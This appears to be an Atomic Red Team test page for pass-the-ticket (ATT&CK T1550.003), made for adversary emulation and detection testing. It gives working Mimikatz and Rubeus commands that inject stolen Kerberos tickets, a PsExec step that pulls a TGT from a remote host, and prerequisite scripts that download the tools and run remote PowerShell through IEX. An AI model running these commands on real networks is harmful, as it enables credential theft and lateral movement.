Try it using Invoke-Atomic

Use Alternate Authentication Material: Pass the Ticket

Description from ATT&CK

Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.

When preforming PtT, valid Kerberos tickets for Valid Accounts are captured by OS Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)

A Silver Ticket can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)

A Golden Ticket can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)

Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, "overpassing the hash" involves using a NTLM password hash to authenticate as a user (i.e. Pass the Hash) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)

Atomic Tests

Atomic Test #1 - Mimikatz Kerberos Ticket Attack

Similar to PTH, but attacking Kerberos

Supported Platforms: windows

auto_generated_guid: dbf38128-7ba7-4776-bedf-cc2eed432098

Inputs:

Name Description Type Default Value
ticket Ticket file name usually format of 'id-username\@domain.kirbi' (e.g. can be dumped by "sekurlsa::tickets /export" module) String None
mimikatz_exe Path of the Mimikatz binary Path PathToAtomicsFolder\T1550.003\bin\x64\mimikatz.exe

Attack Commands: Run with command_prompt!

1
2
#{mimikatz_exe} "kerberos::ptt #{ticket}"

Dependencies: Run with powershell!

Description: Mimikatz must exist on disk at specified location (#{mimikatz_exe})

Check Prereq Commands:

1
2
if (Test-Path #{mimikatz_exe}) {exit 0} else {exit 1}

Get Prereq Commands:

1
2
3
4
5
6
7
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing) 
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
$basePath = Split-Path #{mimikatz_exe} | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath

Atomic Test #2 - Rubeus Kerberos Pass The Ticket

Requesting a TGT on a remote system and retrieving it locally before requesting a service ticket with it. This is a Pass-The-Ticket attack because the TGT is obtained on the remote system, then used from a different machine (local). PsExec is used to execute commands on the remote system, and the "C$" admin share is used to retrieve the TGT, so the current user must have admin rights remotely and other PsExec prerequisites must be met.

Supported Platforms: windows

auto_generated_guid: a2fc4ec5-12c6-4fb4-b661-961f23f359cb

Inputs:

Name Description Type Default Value
target Remote system to request the TGT from string localhost
user_name username associated with the ticket (privileged account not required) String Administrator
password password for user_name String Password
domain domain String $Env:USERDOMAIN
rubeus_path Path of the Rubeus binary Path $Env:TEMP\rubeus.exe
rubeus_url URL of Rubeus executable Url https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe
psexec_path Path of the PsExec binary String C:\PSTools\PsExec.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

1
2
3
4
5
6
7
8
#{psexec_path} -accepteula \\#{target} -w c:\ -c #{rubeus_path} asktgt /user:#{user_name} /password:#{password} /domain:#{domain} /outfile:ticket.kirbi
Set-Location $env:TEMP
Move-Item -Force "\\#{target}\c$\ticket.kirbi" ticket.kirbi
Write-Host "Successfully retrieved TGT from '#{target}', now requesting a TGS from local"
& "#{rubeus_path}" asktgs /service:cifs/#{target} /ticket:ticket.kirbi /ptt
Remove-Item $env:TEMP\ticket.kirbi
& "#{rubeus_path}" purge      

Dependencies: Run with powershell!

Description: Rubeus must exist on disk at specified location (#{rubeus_path})

Check Prereq Commands:

1
2
if (Test-Path #{rubeus_path}) {exit 0} else {exit 1}

Get Prereq Commands:

1
2
Invoke-Webrequest -Uri #{rubeus_url} -OutFile #{rubeus_path}

Description: PsExec must exist on disk at specified location (#{psexec_path})

Check Prereq Commands:

1
2
if (Test-Path #{psexec_path}) {exit 0} else {exit 1}

Get Prereq Commands:

1
2
3
4
5
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PsTools.zip"
Expand-Archive $env:TEMP\PsTools.zip $env:TEMP\PsTools -Force
New-Item -ItemType Directory (Split-Path "#{psexec_path}") -Force | Out-Null
Copy-Item $env:TEMP\PsTools\PsExec.exe "#{psexec_path}" -Force

source